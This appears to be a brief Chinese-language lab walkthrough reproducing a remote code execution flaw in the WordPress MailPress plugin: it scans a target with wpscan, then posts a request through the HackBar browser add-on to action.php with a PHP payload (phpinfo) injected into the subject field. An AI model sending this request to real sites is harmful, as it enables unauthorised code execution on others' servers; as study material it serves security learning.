wordpress
由IP地址进入网页
利用wpscan软件扫描该IP地址发现漏洞为Mailpress插件远程代码执行漏洞
Mailpress插件远程代码执行漏洞复现
利用火狐中hackbar插件
-
F12进入 web控制台,把URL写入hackbar中,选中Post data键,传入post值,运行
URL:
http://IP地址:端口/wp-content/plugins/mailpress/mp-includes/action.php
POST:action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php phpinfo();?>&html=&plaintext=&mail_format=standard&autosave=1